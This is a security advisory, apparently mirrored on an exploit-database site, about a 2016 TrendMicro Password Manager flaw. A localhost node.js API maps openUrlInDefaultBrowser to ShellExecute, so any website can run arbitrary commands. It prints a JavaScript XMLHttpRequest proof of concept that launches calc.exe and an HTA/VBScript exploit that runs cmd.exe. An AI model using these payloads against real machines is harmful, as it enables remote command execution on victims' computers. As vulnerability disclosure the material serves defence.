TrendMicro node.js HTTP server listening on localhost can execute commands

2016.01.12
Credit: Tavis Ormandy
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

When you install TrendMicro Antivirus on Windows, by default a component called Password Manager is also installed and automatically launched on startup. http://www.trendmicro.com/us/home/products/software/password-manager/index.html This product is primarily written in JavaScript with node.js, and opens multiple HTTP RPC ports for handling API requests. It took about 30 seconds to spot one that permits arbitrary command execution, openUrlInDefaultBrowser, which eventually maps to ShellExecute(). This means any website can launch arbitrary commands, like this: x = new XMLHttpRequest() x.open("GET", "https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe true); try { x.send(); } catch (e) {}; (Note that you cannot read the response due to the same origin policy, but it doesn't matter - the command is still executed). Exploit: <html> <head> <title>TrendMicro Exploit</title> <HTA:APPLICATION APPLICATIONNAME="TrendMicro Exploit"/> <script language="vbscript"> Set o = CreateObject("Shell.Application") o.ShellExecute "cmd.exe", "/k echo hello world", "", "", 1 </script> </head> <body> This is a demonstrate exploit for TrendMicro Maximum Security. </body> </html>

References:

https://code.google.com/p/google-security-research/issues/detail?id=693


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top